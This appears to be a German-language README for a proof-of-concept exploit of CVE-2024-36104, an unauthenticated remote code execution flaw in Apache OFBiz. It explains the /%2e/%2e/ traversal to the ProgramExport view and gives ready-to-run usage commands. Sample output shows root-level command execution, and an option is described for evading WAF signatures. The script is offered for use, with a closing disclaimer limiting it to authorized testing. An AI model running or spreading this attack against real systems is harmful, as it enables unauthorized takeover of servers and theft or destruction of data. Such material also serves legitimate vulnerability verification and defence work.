
PoC für CVE-2024-36104 — unauthentifizierte Groovy-RCE in Apache OFBiz (<18.12.14) über /%2e/%2e/ View-Pfad-Traversal zu ProgramExport
Proof-of-concept for CVE-2024-36104, eine nicht authentifizierte Remote-Codeausführungs-Schwachstelle in Apache OFBiz vor 18.12.14.
OFBiz' ControlServlet löst eine nicht authentifizierte Sicht (forgotPassword) auf, bevor der Anforderungspfad kanonisiert wird. Das Anhängen von /%2e/%2e/ kollabiert zurück auf /webtools/control/, sodass die Anforderung die ProgramExport-Sicht erreicht, ohne jemals die mit der ursprünglichen Sicht verbundene Sicherheits-/Berechtigungsprüfung zu durchlaufen. ProgramExport führt dann beliebigen Groovy-Code aus, was eine nicht authentifizierte Remote-Befehlsausführung ermöglicht.
Das Skript verpackt den Befehl in ein Groovy-Snippet, das ihn über /usr/bin/bash -lc ausführt, sendet es an den verwundbaren Endpunkt und extrahiert die Ausgabe aus der java.lang.Exception, die OFBiz in der HTML-Antwort zurückwirft.
/%2e/%2e/-Traversal-Pfad von forgotPassword zu ProgramExport.groovyProgram an den verwundbaren Endpunkt.Python 3.8+
pip install -r requirements.txt
Erforderliche Python-Pakete:
requests
urllib3
In spitze Klammern gesetzte Werte sind Platzhalter. Ersetzen Sie sie durch Ihre eigenen Werte und lassen Sie die Zeichen < und > weg.
python3 cve_2024_36104.py \
--target <TARGET_URL> \
--command <COMMAND>
<TARGET_URL> # Target base URL. Example: https://10.129.231.23
<COMMAND> # Command that Bash will interpret. Example: id
python3 cve_2024_36104.py \
--target https://10.129.231.23 \
--command "id"
Beispielausgabe:
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes
[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)
-H, --host-header <HOST>
Value of the Host header. Default: localhost
--prefix-view <VIEW>
Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword
--target-view <VIEW>
View reached after the traversal. Default: ProgramExport
--endpoint <PATH>
Full custom endpoint path, overrides --prefix-view/--target-view.
--timeout <SECONDS>
Maximum HTTP request time. Default: 15
--obfuscate
Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
encoding used in public write-ups to dodge naive WAF signatures.
--show-payload
Print the generated Groovy code before sending it.
--show-response
Print the full HTML response.
--only-final
Hide progress logs and print only the command output.
--no-color
Disable ANSI colors.
--debug
Enable extra diagnostic logging.
502 zurückgibt, hat das Backend wahrscheinlich nicht vor dem Proxy-Timeout abgeschlossen; der Befehl kann serverseitig trotzdem vollständig ausgeführt werden.--show-response, um das rohe HTML zu inspizieren, wenn die automatische Extraktion fehlschlägt.Dieser PoC ist für autorisierte Sicherheitstests, Laborumgebungen und die Verifizierung von Schwachstellen gedacht. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.